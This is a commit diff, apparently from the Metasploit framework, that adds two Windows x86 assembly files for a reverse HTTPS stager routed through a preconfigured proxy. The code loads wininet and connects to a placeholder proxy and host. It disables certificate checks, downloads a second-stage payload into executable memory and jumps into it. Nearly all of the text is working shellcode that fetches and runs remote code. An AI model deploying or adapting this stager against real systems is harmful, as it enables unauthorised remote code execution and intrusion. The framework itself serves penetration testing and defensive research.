Add an example of preconfigured proxy stager
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HD Moore
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160
external/source/shellcode/windows/x86/src/block/block_reverse_https_proxy.asm
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160
external/source/shellcode/windows/x86/src/block/block_reverse_https_proxy.asm
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;-----------------------------------------------------------------------------;
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; Author: HD Moore
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; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
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; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
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; Version: 1.0
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;-----------------------------------------------------------------------------;
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[BITS 32]
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; Input: EBP must be the address of 'api_call'.
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; Output: EDI will be the socket for the connection to the server
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; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
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load_wininet:
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push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
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push 0x696e6977 ; ...
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push esp ; Push a pointer to the "wininet" string on the stack.
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push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
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call ebp ; LoadLibraryA( "wininet" )
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call internetopen
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proxy_server_name:
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db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:55555",0x00
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internetopen:
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mov ecx, esp
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xor edi,edi
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push edi ; DWORD dwFlags
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push edi ; LPCTSTR lpszProxyBypass
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push ecx ; LPCTSTR lpszProxyName
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push byte 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
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push byte 0 ; NULL pointer
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push esp ; LPCTSTR lpszAgent ("\x00")
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push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
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call ebp
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jmp short dbl_get_server_host
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internetconnect:
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pop ebx ; Save the hostname pointer
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xor ecx, ecx
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push ecx ; DWORD_PTR dwContext (NULL)
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push ecx ; dwFlags
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push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
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push ecx ; password
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push ecx ; username
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push dword 4444 ; PORT
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push ebx ; HOSTNAME
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push eax ; HINTERNET hInternet
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push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
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call ebp
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jmp get_server_uri
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httpopenrequest:
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pop ecx
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xor edx, edx ; NULL
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push edx ; dwContext (NULL)
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push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
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;0x80000000 | ; INTERNET_FLAG_RELOAD
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;0x04000000 | ; INTERNET_NO_CACHE_WRITE
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;0x00800000 | ; INTERNET_FLAG_SECURE
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;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
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;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
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;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
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;0x00000200 ; INTERNET_FLAG_NO_UI
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push edx ; accept types
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push edx ; referrer
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push edx ; version
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push ecx ; url
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push edx ; method
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push eax ; hConnection
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push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
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call ebp
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mov esi, eax ; hHttpRequest
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set_retry:
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push byte 0x10
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pop ebx
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; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
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set_security_options:
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push 0x00003380
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mov eax, esp
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push byte 4 ; sizeof(dwFlags)
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push eax ; &dwFlags
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push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
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push esi ; hRequest
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push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
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call ebp
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httpsendrequest:
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xor edi, edi
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push edi ; optional length
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push edi ; optional
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push edi ; dwHeadersLength
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push edi ; headers
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push esi ; hHttpRequest
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push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
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call ebp
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test eax,eax
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jnz short allocate_memory
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try_it_again:
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dec ebx
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jz failure
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jmp short set_security_options
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dbl_get_server_host:
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jmp get_server_host
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get_server_uri:
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call httpopenrequest
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server_uri:
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db "/12345", 0x00
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failure:
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push 0x56A2B5F0 ; hardcoded to exitprocess for size
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call ebp
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allocate_memory:
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push byte 0x40 ; PAGE_EXECUTE_READWRITE
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push 0x1000 ; MEM_COMMIT
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push 0x00400000 ; Stage allocation (8Mb ought to do us)
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push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
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push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
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call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
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download_prep:
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xchg eax, ebx ; place the allocated base address in ebx
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push ebx ; store a copy of the stage base address on the stack
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push ebx ; temporary storage for bytes read count
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mov edi, esp ; &bytesRead
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download_more:
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push edi ; &bytesRead
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push 8192 ; read length
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push ebx ; buffer
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push esi ; hRequest
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push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
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call ebp
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test eax,eax ; download failed? (optional?)
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jz failure
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mov eax, [edi]
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add ebx, eax ; buffer += bytes_received
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test eax,eax ; optional?
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jnz download_more ; continue until it returns 0
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pop eax ; clear the temporary storage
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execute_stage:
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ret ; dive into the stored stage address
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get_server_host:
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call internetconnect
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server_host:
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19
external/source/shellcode/windows/x86/src/stager/stager_reverse_https_proxy.asm
vendored
Normal file
19
external/source/shellcode/windows/x86/src/stager/stager_reverse_https_proxy.asm
vendored
Normal file
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@ -0,0 +1,19 @@
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;-----------------------------------------------------------------------------;
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; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
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; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
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; Version: 1.0 (24 July 2009)
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; Size: 274 bytes
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; Build: >build.py stager_reverse_tcp_nx
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;-----------------------------------------------------------------------------;
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[BITS 32]
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[ORG 0]
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cld ; Clear the direction flag.
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call start ; Call start, this pushes the address of 'api_call' onto the stack.
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%include "./src/block/block_api.asm"
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start: ;
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pop ebp ; pop off the address of 'api_call' for calling later.
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%include "./src/block/block_reverse_https_proxy.asm"
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; By here we will have performed the reverse_tcp connection and EDI will be our socket.
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